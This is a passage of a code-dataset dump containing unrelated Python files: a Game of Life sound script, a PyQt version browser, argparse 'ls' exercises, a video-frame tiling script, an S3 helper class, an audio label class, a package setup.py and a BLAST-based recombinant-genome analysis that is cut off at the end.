sample.play()\r\n\t\t\t\t#sample.set_volume(random.randint(0,255))\r\n\t\t\t\tsample.set_volume(get_neighbours_num(x,y)*20)\r\n\t\r\n\r\n\r\n\t\t\r\n\r\n\"\"\"compute next step\"\"\"\r\ndef tick():\r\n\tglobal playfield,playfield_size\r\n\tnew_playfield = [[False for x in range(playfield_size[0])] for y in range(playfield_size[1])]\r\n\tfor y in range(playfield_size[1]):\r\n\t\tfor x in range(playfield_size[0]):\r\n\t\t\tneighbours = get_neighbours_num(x,y)\r\n\t\t\tif(playfield[y][x] == True):\r\n\t\t\t\tif(neighbours < 2): #underpopulation\r\n\t\t\t\t\tnew_playfield[y][x] = False\r\n\t\t\t\tif(neighbours == 2 or neighbours == 3): #great neighbourhood ,stay\r\n\t\t\t\t\tnew_playfield[y][x] = True\r\n\t\t\t\tif(neighbours > 3): #overcrowded\r\n\t\t\t\t\tnew_playfield[y][x] = False\r\n\t\t\telse:\t\r\n\t\t\t\tif(neighbours == 3): #reproduce\r\n\t\t\t\t\tnew_playfield[y][x] = True\r\n\r\n\tplayfield = new_playfield\r\n\r\ndef get_samples(dir):\r\n\tfiles = os.listdir(dir)\t\r\n\tfor index,f in enumerate(files):\r\n\t\tf = dir + \"/\" + f\r\n\t\tfiles[index] = f\r\n\treturn files\t\r\n\r\ndef setup():\r\n\trandom.seed()\r\n\tmixer.init()\r\n\t#screen = pygame.display.set_mode ((640, 480), 0, 32)\r\n\tsamples = get_samples(\"./samples\")\r\n\tinit_playfield(samples)\r\n\ttick()\r\n\tprint_playfield()\r\n\tpygame.init ()\r\n\t#screen.fill ((100, 100, 100))\r\n\t#pygame.display.flip ()\r\n\t#pygame.key.set_repeat (500, 30)\r\n\t#mixer.init(11025)\r\n\t#mixer.init(44100)\r\n\t#sample = samples[random.randint(0,len(samples)-1)]\r\n\t#print(\"playing sample:\",sample)\r\n\t#sound = mixer.Sound(sample)\r\n\t#channel = sound.play()\r\n\r\n\twhile True:\r\n\t\tplay_sounds()\r\n\t\t#for i in range(2):\t\r\n\t\tmutate_playfield()\r\n\t\ttick()\r\n\t\tprint_playfield()\r\n\t\t#time.wait(int((1000*60)/80)) # 128bpm\r\n\t\ttime.wait(50)\r\n\r\n\t#while channel.get_busy(): #still playing\r\n\t#\tprint(\" ...still going...\")\r\n\t#\ttime.wait(1000)\r\n\t#print(\"...Finished\")\r\n\tpygame.quit()\r\n\r\nsetup()","sub_path":"conwaysa.py","file_name":"conwaysa.py","file_ext":"py","file_size_in_byte":4694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"200628892","text":"# -*- coding: utf-8 -*-\n# __author__ = 'XingHuan'\n# 6/20/2018\n\n# Copyright 2018 XingHuan\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport os\nimport sys\nfrom sins.module.sqt import *\nfrom sins.db.models import prefetch, File, Version\nfrom sins.db.utils.basic_filter import get_entity_version_basic_filter\nfrom version_item import VersionItemWidget, VersionTreeItem\nfrom sins.ui.widgets.data_view.data_table.data_browser import DataBrowser\nfrom sins.config.data_view_configs.data_configs import SampleVersionConfig, VersionConfig\nfrom sins.config.utils import DataItem\n\n\nclass VersionTree(QTreeWidget):\n currentVersionChanged = Signal(object)\n refreshDone = Signal()\n\n def __init__(self, *args, **kwargs):\n super(VersionTree, self).__init__(*args, **kwargs)\n\n self.setObjectName('VersionBarVersionTree')\n\n self.versions = None\n self.version_count = 0\n self.auto_get_version = True\n\n self.init()\n\n self.setHeaderHidden(True)\n self.setVerticalScrollMode(QAbstractItemView.ScrollPerPixel)\n self.setRootIsDecorated(False)\n self.setAnimated(True)\n\n self.itemDoubleClicked.connect(self.item_double_clicked)\n\n # button = QPushButton('test', self)\n # button.clicked.connect(self.test)\n\n def init(self):\n self.clear()\n self.current_version = None\n self.last_item = None\n self.all_version_items = []\n\n def set_current_version(self, version=None, current_version_item=None, emit_signal=True):\n if self.current_version != version or self.last_item is not current_version_item:\n if current_version_item is None and version is None:\n version = self.versions[0] if self.version_count > 0 else None\n if not self.auto_get_version:\n version = None\n if not (self.last_item is not None and self.last_item.version == version):\n if (not self.last_item is current_version_item) or version is not None:\n if self.last_item is not None:\n self.last_item.set_current(False)\n\n if version is not None:\n for version_item in self.all_version_items:\n if version_item.version == version:\n current_version_item = version_item\n break\n\n if current_version_item is not None:\n current_version_item.setSelected(True)\n current_version_item.set_current()\n self.last_item = current_version_item\n self.current_version = current_version_item.version\n\n self.currentVersionChanged.emit(self.current_version)\n\n def item_double_clicked(self, treeitem, p_int):\n if isinstance(treeitem, VersionTreeItem):\n version_item_widget = self.itemWidget(treeitem, 0)\n self.set_current_version(current_version_item=treeitem)\n\n def test(self):\n tree_item = self.topLevelItem(0)\n item_widget = self.itemWidget(tree_item, 0)\n item_widget.add_view_fields(['uploaded_movie'])\n tree_item.setSizeHint(0, QSize(100, item_widget.height()))\n self.updateGeometries()\n\n def refresh(self, rootDataGroup, query=None, query_all=None):\n self.init()\n self.versions = query_all\n self.version_count = query_all.count()\n self.add_groups(rootDataGroup, parent=self)\n self.refreshDone.emit()\n\n def add_groups(self, group, parent=None):\n # print group, parent\n if group.field_name is not None:\n group_item = QTreeWidgetItem()\n field = self.config.find_field(group.field_name)\n value = field.label_prefix + field.label + '>' + str(\n group.field_value if group.field_value is not None else 'None')\n group_item.setText(0, value)\n if parent is self:\n self.addTopLevelItem(group_item)\n else:\n parent.addChild(group_item)\n self.setFirstItemColumnSpanned(group_item, True)\n group_item.setExpanded(True)\n else:\n group_item = self\n\n for child in group.children():\n if isinstance(child, DataItem):\n version = child.data['version>id']['db_instance']\n item = VersionTreeItem(version=version, tree=self)\n if group_item is self:\n self.addTopLevelItem(item)\n else:\n group_item.addChild(item)\n\n self.all_version_items.append(item)\n version_item_widget = VersionItemWidget(version, parent=self)\n self.setItemWidget(item, 0, version_item_widget)\n version_item_widget.update_data()\n\n else:\n self.add_groups(child, parent=group_item)\n\n\nclass VersionBrowser(DataBrowser):\n def __init__(self, *args, **kwargs):\n super(VersionBrowser, self).__init__(*args, **kwargs)\n\n self.name = 'VersionBarVersionBrowser'\n self.target_current_version = None\n\n # version_config = VersionConfig()\n version_config = SampleVersionConfig()\n self.load_config(version_config)\n\n def init_ui(self):\n super(VersionBrowser, self).init_ui()\n\n self.dataWidget = VersionTree()\n self.masterLayout.insertWidget(1, self.dataWidget)\n self.pageWidget.set_all_item()\n self.pageWidget.hide()\n\n self.dataWidget.refreshDone.connect(self.tree_refresh_done)\n\n def set_entity(self, entity):\n entity_type = entity.__class__.__name__\n if entity_type in ['Task', 'Shot', 'Asset', 'AssetType', 'Sequence']:\n\n version_basic_filter = get_entity_version_basic_filter(entity, no_need_submit_type=['InProgress'])\n\n self.set_basic_filter(version_basic_filter)\n self.update_data()\n\n def update_data(self):\n # self.filterMenu.update_filters()\n self.refresh()\n\n def tree_refresh_done(self):\n self.dataWidget.set_current_version(self.target_current_version)\n\n def set_current_version(self, version=None, immediate=False):\n self.target_current_version = version\n if immediate:\n self.tree_refresh_done()\n\n\nif __name__ == '__main__':\n from sins.db.models import Version, Shot\n\n version = Version.get(id=200)\n shot = version.shot\n\n app = QApplication(sys.argv)\n window = VersionBrowser()\n window.show()\n window.resize(500, 400)\n window.set_entity(shot)\n window.set_current_version(None)\n # window.set_current_version(version)\n sys.exit(app.exec_())","sub_path":"sins/ui/widgets/version_player/version_tree.py","file_name":"version_tree.py","file_ext":"py","file_size_in_byte":7222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"291033582","text":"# 简单程序\n# import argparse\n#\n# parser = argparse.ArgumentParser(prog='ls',add_help=True,description='list diretory contents')\n# args = parser.parse_args()\n# parser.print_help()\n# ===================================================\n# import argparse\n#\n# parser = argparse.ArgumentParser(prog='ls',add_help=True,description='list directory contents')\n# parser.add_argument('path')\n# args = parser.parse_args()\n# parser.print_help()\n# ======================================================\n# 选项参数实现\n# import argparse\n#\n# parser = argparse.ArgumentParser(prog='ls',add_help=True,description='list directory contents')\n# parser.add_argument('path',nargs='?',default='.',help=\"directory\")\n# parser.add_argument('-l',action='store_true',help='use a long listing format')\n# parser.add_argument('-a','--all',action='store_true',help='show all files, do not ignore entries starting with.')\n# args = parser.parse_args('-l -a /tmp'.split())\n# print(args)\n# parser.print_help()\n# ========================================================\n# ls 业务功能实现\n# import argparse\n# from pathlib import Path\n# from datetime import datetime\n#\n# parser = argparse.ArgumentParser(prog='ls',add_help=True,description='list directory contents')\n# parser.add_argument('path',nargs='?',default='.',help=\"directory\")\n# parser.add_argument('-l',action='store_true',help='use a long listing format')\n# parser.add_argument('-a','--all',action='store_true',help='show all files, do not ignore entries starting with.')\n#\n#\n# args = parser.parse_args()\n# print(1, args.path,args.all, \"args:{}\".format(args))\n# parser.print_help()\n#\n# # def listdir(path, all=False):\n# # p = Path(path)\n# # for i in p.iterdir():\n# # if not all and i.name.startswith('.'):\n# # continue\n# # yield i.name\n# #\n# # print(list(listdir((args.path))))\n#\n# def _getfiletype(f:Path):\n# if f.is_dir():\n# return 'd'\n# elif f.is_block_device():\n# return 'b'\n# elif f.is_char_device():\n# return 'c'\n# elif f.is_socket():\n# return 's'\n# elif f.is_symlink():\n# return 'l'\n# else:\n# return '-'\n#\n# modelist = dict(zip(range(9),['r','w','x','r','w','x','r','w','x']))\n# def _getmodestr(mode:int):\n# m = mode & 0o777\n# mstr = ''\n# for i in range(8,-1,-1):\n# if m >> i & 1:\n# mstr += modelist[8-i]\n# else:\n# mstr += '-'\n# return mstr\n#\n# def listdir(path, all=False, detail=False):\n# \"\"\"详细列出本目录\"\"\"\n# p = Path(path)\n# for i in p.iterdir():\n# if not all and i.name.startswith('.'):\n# print(11111)\n# continue\n# if not detail:\n# print(22222)\n# yield (i.name,)\n# # return (i.name,)\n# else:\n# print(33333)\n# stat = i.stat()\n# # print(1, stat)\n# # t = _getfiletype(i)\n# # mode = oct(stat.st_mode)[-3:]\n# mode = _getfiletype(i) + _getmodestr(stat.st_mode)\n# # mode = _getmodestr(stat.st_mode)\n# # mode = _getfiletype(i)\n# atime = datetime.fromtimestamp(stat.st_atime).strftime('%Y %m %d %H:%M:%S')\n# yield mode,stat.st_uid,stat.st_gid,stat.st_size,atime,i.name\n# # print(mode, stat.st_uid, stat.st_gid, stat.st_size, atime, i.name)\n# # return mode, stat.st_uid, stat.st_gid, stat.st_size, atime, i.name\n#\n# # print(list(listdirdetail(args.path)))\n# # for x in listdir(args.path, detail=True):\n# # print(next(x))\n#\n# sorted(listdir(args.path, detail=True), key=lambda x: x[len(x) - 1])\n# # print(listdir(args.path,all=True,detail=True))\n# # print(next(listdir(args.path,all=True,detail=True)))\n#\n# if __name__ == '__main__':\n# args = parser.parse_args()\n# print(args)\n# parser.print_help()\n# files = listdir(args.path, args.all, args.l)\n# print(list(files))\n# ================================================================\n# return 测试\n# def test_return(x):\n# if x > 0:\n# yield x\n# else:\n# return 0\n# print('x',test_return(0))\n# 测试没发现上面不打印内容的情况。\n# ================================================================\n# 最终代码\nimport argparse\nimport stat\nfrom pathlib import Path\nfrom datetime import datetime\n\nparser = argparse.ArgumentParser(prog='ls',description='list directory contents',add_help=False)\nparser.add_argument('path',nargs='?',default='.',help=\"directory\")\nparser.add_argument('-l',action='store_true',help='use a long listing format')\nparser.add_argument('-a','--all',action='store_true',help='show all files, do not ignore entries starting with.')\nparser.add_argument('-h','--human-readable',action='store_true',help='with -l, print sizes in human readable format')\n\ndef listdir(*path,all=False,detail=False,human=False):\n def _gethuman(size:int):\n units = ' KMGTP'\n depth = 0\n while size >= 1000:\n size = size // 1000\n depth += 1\n return '{}{}'.format(size,units[depth])\n\n def _listdir(*path,all=False,detail=False,human=False):\n \"\"\"详细列出本目录\"\"\"\n p = Path(path)\n for i in p.iterdir():\n if not all and i.name.startswith('.'):\n continue\n if not detail:\n yield (i.name,)\n else:\n st = i.stat()\n mode = stat.filemode(st.st_mode)\n atime = datetime.fromtimestamp(st.st_atime).strftime('%Y-%m-%d %H:%M:%S')\n size = str(st.st_size) if not human else _gethuman(st.st_size)\n yield (mode,st.st_nlink,st.st_uid,st.st_gid,size,atime,i.name)\n\n yield from sorted(_listdir(path, all, detail, human), key=lambda x:x[len(x)-1])\n\nif __name__ == '__main__':\n args = parser.parse_args()\n print(1, args)\n parser.print_help()\n # files = listdir(args.path, args.all,args.l,args.human_readable)\n files = listdir('/home/shouyu/','/home', detail=True, human=True)\n for i in files:\n print(i)\n\n\n\n\n\n","sub_path":"练习/argparse模块/argparse模块.py","file_name":"argparse模块.py","file_ext":"py","file_size_in_byte":6087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"130931279","text":"import os\nimport numpy as np\nimport cv2\nfrom PIL import Image\nfrom skimage.io import imread\n\nimport wwtool\n\nImage.MAX_IMAGE_PIXELS = int(2048 * 2048 * 2048 // 4 // 3)\n\nif __name__ == '__main__':\n core_dataset_name = 'stanford_campus'\n label_fold = './data/{}/v0/annotations'.format(core_dataset_name)\n video_fold = './data/{}/v0/videos'.format(core_dataset_name)\n stanford_compus_parse = wwtool.StanfordCompusParse(label_fold)\n\n image_set = 'trainval_test'\n\n subimage_size = 800\n gap = 200\n\n scenes = ('bookstore', 'coupa', 'deathCircle', 'gates', 'hyang', 'little', 'nexus', 'quad')\n \n image_save_path = './data/{}/v1/{}/images'.format(core_dataset_name, image_set)\n wwtool.mkdir_or_exist(image_save_path)\n label_save_path = './data/{}/v1/{}/labels'.format(core_dataset_name, image_set)\n wwtool.mkdir_or_exist(label_save_path)\n\n for scene_name in scenes:\n for video_name in os.listdir(os.path.join(video_fold, scene_name)):\n videocapture = cv2.VideoCapture(os.path.join(video_fold, scene_name, video_name, 'video.mov'))\n\n frame_id = 0\n while(videocapture.isOpened()):\n ret, img = videocapture.read()\n if ret == False:\n break\n image_name = \"_\".join([scene_name, video_name, \"{:0>6d}\".format(frame_id)]) + '.png'\n if frame_id % 120 != 0:\n frame_id += 1\n continue\n print(scene_name, video_name, frame_id, image_name)\n\n objects = stanford_compus_parse.stanford_compus_parse(scene_name, video_name, frame_id)\n if objects == []:\n frame_id += 1\n continue\n \n bboxes = np.array([wwtool.xyxy2cxcywh(obj['bbox']) for obj in objects])\n labels = np.array([obj['label'] for obj in objects])\n\n subimages = wwtool.split_image(img, subsize=subimage_size, gap=gap, expand_boundary=True)\n subimage_coordinates = list(subimages.keys())\n bboxes_ = bboxes.copy()\n labels_ = labels.copy()\n if bboxes_.shape[0] == 0:\n frame_id += 1\n continue\n\n for subimage_coordinate in subimage_coordinates:\n objects = []\n \n bboxes_[:, 0] = bboxes[:, 0] - subimage_coordinate[0]\n bboxes_[:, 1] = bboxes[:, 1] - subimage_coordinate[1]\n cx_bool = np.logical_and(bboxes_[:, 0] >= 0, bboxes_[:, 0] < subimage_size)\n cy_bool = np.logical_and(bboxes_[:, 1] >= 0, bboxes_[:, 1] < subimage_size)\n subimage_bboxes = bboxes_[np.logical_and(cx_bool, cy_bool)]\n subimage_labels = labels_[np.logical_and(cx_bool, cy_bool)]\n \n if len(subimage_bboxes) == 0:\n frame_id += 1\n continue\n img = subimages[subimage_coordinate]\n if np.mean(img) == 0:\n frame_id += 1\n continue\n\n label_save_file = os.path.join(label_save_path, '{}_{}_{}__{}_{}.txt'.format(scene_name, video_name, frame_id, subimage_coordinate[0], subimage_coordinate[1]))\n image_save_file = os.path.join(image_save_path, '{}_{}_{}__{}_{}.png'.format(scene_name, video_name, frame_id, subimage_coordinate[0], subimage_coordinate[1]))\n cv2.imwrite(image_save_file, img)\n \n for subimage_bbox, subimage_label in zip(subimage_bboxes, subimage_labels):\n subimage_objects = dict()\n subimage_objects['bbox'] = wwtool.cxcywh2xyxy(subimage_bbox.tolist())\n subimage_objects['label'] = subimage_label\n objects.append(subimage_objects)\n wwtool.simpletxt_dump(objects, label_save_file)\n frame_id += 1\n\n videocapture.release()","sub_path":"tools/datasets/compus/split_image_with_label.py","file_name":"split_image_with_label.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"517029842","text":"import boto3\nimport botocore\nimport json\n\n\nclass s3():\n\n client = {}\n\n def __init__(self, access_key, secret_access_key, region_name):\n \"\"\"\n Login to s3 and store the login object\n \n Keyword arguments:\n access_key -- the aws access key\n secret_access_key -- the aws secret key\n region_name -- region name\n \"\"\"\n self.client = boto3.client(\n 's3',\n aws_access_key_id=access_key,\n aws_secret_access_key=secret_access_key,\n region_name=region_name,\n )\n self.resource = boto3.resource(\n 's3',\n aws_access_key_id=access_key,\n aws_secret_access_key=secret_access_key,\n region_name=region_name,\n )\n\n def s3_download(self, bucket_name, key, options):\n \"\"\"\n download a text file from s3 and return the contents\n \n Keyword arguments:\n bucket_name -- the name of the bucket\n key -- the key, path, to the file on s3\n \"\"\"\n encoding = 'utf-8'\n if 'encoding' in options:\n encoding = options['encoding']\n\n text = \"\"\n try:\n obj = self.client.get_object(Bucket=bucket_name, Key=key)\n text = obj['Body'].read().decode(encoding)\n except botocore.exceptions.ClientError as e:\n if e.response['Error']['Code'] == \"404\":\n print(\"The object does not exist.\")\n else:\n raise\n return text\n\n def s3_upload(self, bucket_name, file, key):\n \"\"\"\n Upload a file to s3\n\n Keyword arguments:\n bucket_name -- the name of the bucket\n file -- the file content to be uploaded\n key -- the upload target\n \"\"\"\n content_type = ''\n if 'html' in key:\n content_type = 'text/html'\n elif 'css' in key:\n content_type = 'text/css'\n elif 'js' in key:\n content_type = 'application/javascript'\n elif 'png' in key:\n content_type = 'image/png'\n elif 'jpeg' in key:\n content_type = 'image/jpeg'\n\n if len(content_type) > 0:\n self.client.put_object(Key=key, Body=file, Bucket=bucket_name, ContentType=content_type)\n else:\n self.client.put_object(Key=key, Body=file, Bucket=bucket_name)\n\n def s3_search_with_prefix(self, bucket, prefix):\n return self.resource.Bucket(bucket).objects.filter(Prefix=prefix)\n","sub_path":"src/artifact_manager/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"180250052","text":"import copy\nfrom functools import total_ordering\n\n\n@total_ordering\nclass Label(object):\n \"\"\"\n Represents a label that describes some part of an utterance.\n\n Args:\n value (str): The text of the label.\n start (float): Start of the label within the utterance in seconds.\n (default: 0)\n end (float): End of the label within the utterance in seconds.\n (default: -1) (-1 defines the end of the utterance)\n meta (dict): A dictionary containing additional information\n for the label.\n\n Attributes:\n label_list (LabelList): The label-list this label is belonging to.\n \"\"\"\n __slots__ = ['value', 'start', 'end', 'label_list', 'meta']\n\n def __init__(self, value, start=0, end=-1, meta=None):\n self.value = value\n self.start = start\n self.end = end\n self.meta = meta or {}\n self.label_list = None\n\n def __eq__(self, other):\n data_this = (self.start, self.end, self.value.lower())\n data_other = (other.start, other.end, other.value.lower())\n return data_this == data_other\n\n def __lt__(self, other):\n self_end = float('inf') if self.end == -1 else self.end\n other_end = float('inf') if other.end == -1 else other.end\n\n data_this = (self.start, self_end, self.value.lower())\n data_other = (other.start, other_end, other.value.lower())\n\n return data_this < data_other\n\n def __repr__(self) -> str:\n return 'Label({}, {}, {})'.format(self.value, self.start, self.end)\n\n def __copy__(self):\n return Label(\n self.value,\n start=self.start,\n end=self.end,\n meta=self.meta\n )\n\n def __deepcopy__(self, memo):\n return Label(\n self.value,\n start=self.start,\n end=self.end,\n meta=copy.deepcopy(self.meta, memo)\n )\n\n @property\n def start_abs(self):\n \"\"\"\n Return the absolute start of the label in seconds relative to\n the signal. If the label isn't linked to any utterance via label-list,\n it is assumed ``self.start`` is relative to the start of the signal,\n hence ``self.start`` == ``self.start_abs``.\n \"\"\"\n if self.label_list is None or self.label_list.utterance is None:\n return self.start\n\n return self.label_list.utterance.start + self.start\n\n @property\n def end_abs(self):\n \"\"\"\n Return the absolute end of the label in seconds relative to the signal.\n If the label isn't linked to any utterance via label-list,\n it is assumed ``self.end`` is relative to the start of the signal,\n hence ``self.end`` == ``self.end_abs``.\n \"\"\"\n if self.label_list is None or self.label_list.utterance is None:\n return self.end\n elif self.end == -1:\n return self.label_list.utterance.end_abs\n else:\n return self.end + self.label_list.utterance.start\n\n @property\n def duration(self):\n \"\"\"\n Return the duration of the label in seconds.\n \"\"\"\n return self.end_abs - self.start_abs\n\n def read_samples(self, sr=None):\n \"\"\"\n Read the samples of the utterance.\n\n Args:\n sr (int): If None uses the sampling rate given by the track,\n otherwise resamples to the given sampling rate.\n\n Returns:\n np.ndarray: A numpy array containing the samples as a\n floating point (numpy.float32) time series.\n \"\"\"\n duration = None\n\n if self.end >= 0 or self.label_list.utterance.end >= 0:\n duration = self.duration\n\n track = self.label_list.utterance.track\n\n return track.read_samples(\n sr=sr,\n offset=self.start_abs,\n duration=duration\n )\n\n def tokenized(self, delimiter=' '):\n \"\"\"\n Return a list with tokens from the value of the label.\n Tokens are extracted by splitting the string using ``delimiter`` and\n then trimming any whitespace before and after splitted strings.\n\n Args:\n delimiter (str): The delimiter used to split into tokens.\n (default: space)\n\n Return:\n list: A list of tokens in the order they occur in the label.\n\n Examples:\n\n >>> label = Label('as is oh')\n >>> label.tokenized()\n ['as', 'is', 'oh']\n\n Using a different delimiter (whitespace is trimmed anyway):\n\n >>> label = Label('oh hi, as, is ')\n >>> label.tokenized(delimiter=',')\n ['oh hi', 'as', 'is']\n \"\"\"\n\n tokens = self.value.split(sep=delimiter)\n tokens = [t.strip() for t in tokens]\n\n while '' in tokens:\n tokens.remove('')\n\n return tokens\n","sub_path":"audiomate/annotations/label.py","file_name":"label.py","file_ext":"py","file_size_in_byte":4903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"187577212","text":"#!/usr/bin/env python\n# Setuptools is required for the use_2to3 option below. You should install it\n# from the Distribute home page, http://packages.python.org/distribute/\nfrom __future__ import absolute_import\n\nimport inspect\nimport logging\nimport os\nimport sys\n\nfrom setuptools import setup, Command\nfrom setuptools.command.test import test as TestCommand\n\n# from distutils.core import setup, Command\n\nfrom activedirectory.version import __version__\n\n# Hack to prevent stupid \"TypeError: 'NoneType' object is not callable\" error\n# in multiprocessing/util.py _exit_function when running `python\n# setup.py test` (see\n# http://www.eby-sarna.com/pipermail/peak/2010-May/003357.html)\ntry:\n import multiprocessing\nexcept ImportError:\n pass\n\ntest_requirements = ['pep8>=0.6', 'py>=1.4.15', 'pytest', 'six', 'sphinx'] # 'nosexcover']\ntest_suite = \"py.test\"\nif sys.hexversion >= 0x02060000:\n # requirements.extend(['nose-machineout'])\n test_suite = \"py.test\"\n\n# handle python 3\nif sys.version_info >= (3,):\n use_2to3 = True\nelse:\n use_2to3 = False\n\noptions = {}\n\n# class PyTest(Command):\n# user_options = []\n# def initialize_options(self):\n# pass\n# def finalize_options(self):\n# pass\n# def run(self):\n# import sys,subprocess\n# errno = subprocess.call([sys.executable, 'tox'])\n# raise SystemExit(errno)\n\n\"\"\"\nclass PyTest(TestCommand):\n def finalize_options(self):\n TestCommand.finalize_options(self)\n self.test_args = []\n self.test_suite = True\n def run_tests(self):\n #import here, cause outside the eggs aren't loaded\n import pytest\n pytest.main(self.test_args)\n\"\"\"\n\n\nclass Tox(TestCommand):\n\n def finalize_options(self):\n TestCommand.finalize_options(self)\n self.test_args = []\n self.test_suite = True\n\n def run_tests(self):\n # import here, cause outside the eggs aren't loaded\n import tox\n errno = tox.cmdline(self.test_args)\n sys.exit(errno)\n\nsetup(\n name='activedirectory',\n py_modules=['activedirectory.version'],\n packages=['activedirectory'],\n version=__version__,\n zip_safe=False,\n description='Easiest way to interact with ActiveDirectory / AD / LDAP Servers from Python, pure python approach.',\n long_description=open(\"README.rst\").read(),\n author='Sorin Sbarnea',\n author_email='sorin.sbarnea@gmail.com',\n maintainer='Sorin Sbarnea',\n maintainer_email='sorin.sbarnea@gmail.com',\n license='Python',\n platforms=['any'],\n url='https://github.com/pycontribs/activedirectory',\n download_url='https://github.com/pycontribs/activedirectory/archives/master',\n bugtrack_url='https://github.com/pycontribs/activedirectory/issues',\n keywords=['activedirectory', 'ad', 'ldap', 'ldap3'],\n classifiers=[\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.5',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Development Status :: 4 - Beta',\n 'Environment :: Other Environment',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: OS Independent',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Topic :: Internet',\n ],\n setup_requires=['six', 'tox', 'ldap3'], # ,'nosexcover'],\n install_requires=['six', 'ldap3'],\n tests_require=test_requirements, # autopep8 removed because it does not install on python2.5\n test_suite=test_suite,\n cmdclass={'test': Tox},\n # use_2to3 = use_2to3,\n **options\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"228734934","text":"#!/usr/bin/python\nfrom Bio import SeqIO\nfrom itertools import islice\nimport sys\nfrom itertools import chain\nfrom Bio.Blast.Applications import NcbiblastnCommandline\nimport subprocess\nimport csv\nfrom collections import defaultdict\nfrom pprint import pprint\n\nchild = sys.argv[1]\nwindow_size = sys.argv[2]\nstep = sys.argv[3]\nblastDB = sys.argv[4]\nparent1_name = sys.argv[5]\nparent2_name = sys.argv[6]\n\n\nclass RecAnalysis(object):\n \"\"\"\n input: rec_genome: single .fasta file with the recombinant (child) genome\n win_size: integer (desired window size Recomended: 1000)\n step_size: integer (desired window overlap size Recomended: 100)\n parent_blastDB: local blast database from both parents\n parent1: name of parent1 exactly as it is in multifasta file for blastdb without '>'\n parent1: name of parent2 exactly as it is in multifasta file for blastdb without '>'\n\n \"\"\"\n\n def __init__(self, rec_genome, win_size, step_size, parent_blastDB, parent1, parent2):\n self.parse_rec = self.parsed_sequence(rec_genome)\n self.win_size = win_size\n self.step_size = step_size\n self.parent_blastDB = parent_blastDB\n self.parent1 = parent1\n self.parent2 = parent2\n\n @staticmethod\n def parsed_sequence(genome):\n with open(genome, \"rU\") as sequence:\n for record in SeqIO.parse(sequence, \"fasta\"):\n return {\n 'id': record.id,\n 'sequence': record.seq\n }\n\n @staticmethod\n def parse_blast(blastFile):\n d = defaultdict(list)\n with open(blastFile, 'r') as csvfile:\n spamreader = csv.reader(csvfile, delimiter='\\t', quotechar='|')\n for row in spamreader:\n d[row[0]].append((row[1], float(row[2])))\n newDict = {}\n for k, v in d.items():\n newDict[k] = dict(v)\n return newDict\n\n def sliding_window(self):\n \"\"\"Returns a mulit.fasta file with chunks of input fasta. Input sequence\n must be iterable.\"\"\"\n step = self.win_size - self.step_size\n id = self.parse_rec['id']\n outfile = open(id + \"_window_\" + str(self.win_size) + \".fasta\", 'w')\n sequence = self.parse_rec['sequence']\n\n # Pre-compute number of chunks to emit\n numOfChunks = int(((len(sequence) - self.win_size) / step) + 1)\n\n # Do the work\n win_count = 0\n coord_count = 0\n for i in range(0, numOfChunks * step, step):\n win_count += 1\n coord_count += step\n # print(\">\" + id + \"_window_\" + str(win_count) + \"_coord_\" + str(coord_count), file=outfile)\n print >> outfile, \">\" + id + \"_window_\" + str(win_count) + \"_coord_\" + str(coord_count)\n # print(sequence[i:i + self.win_size], file=outfile)\n print >> outfile, sequence[i:i + self.win_size]\n\n def blast_recombinant(self):\n\n strainMap = {\n self.parent1: 1,\n self.parent2: 2\n }\n\n def parse_blast(blastFile):\n d = defaultdict(list)\n with open(blastFile, 'r') as csvfile:\n spamreader = csv.reader(csvfile, delimiter='\\t', quotechar='|')\n for row in spamreader:\n d[row[0]].append((row[1], float(row[2])))\n newDict = {}\n for k, v in d.items():\n newDict[k] = dict(v)\n return newDict\n\n def compute_score(hitDict):\n\n highest = max(hitDict.values())\n highestList = [k for k,v in hitDict.items() if v == highest]\n if len(highestList) > 1:\n return 0\n else:\n return (strainMap[highestList[0]])\n\n id = self.parse_rec['id']\n outBlast = 'blasted_windows.tsv'\n windows_file = id + \"_window_\" + str(self.win_size) + \".fasta\"\n blastCline = NcbiblastnCommandline(query=windows_file, db=self.parent_blastDB, evalue=0.001, outfmt=6, out=outBlast)\n print(blastCline)\n cl_command = str(blastCline).split(\"-\")\n call = cl_command[0]\n cl_command = [\"-\" + x.strip() for x in cl_command[1:]]\n cl_command = [x.split(\" \") for x in cl_command]\n cl_command = list(chain.from_iterable(cl_command))\n cl_call = [call.strip()]\n cl_call.extend(cl_command)\n subprocess.call(cl_call)\n hits = parse_blast(outBlast)\n outTable = open('recombinant_table.tsv', 'w')\n # print('coord', 'window', 'score', file=outTable)\n print >> outTable, 'coord', 'window', 'score'\n for k, v in hits.items():\n coord = k.split(\"_\")[-1]\n # print(coord, k, compute_score(v), file=outTable)\n print >> outTable, coord, k, compute_score(v)\n\ntester = RecAnalysis(rec_genome=child, win_size=1000, step_size=10, parent_blastDB=blastDB, parent1=parent1_name, parent2=parent2_name)\nchunks = tester.sliding_window()\nblast = 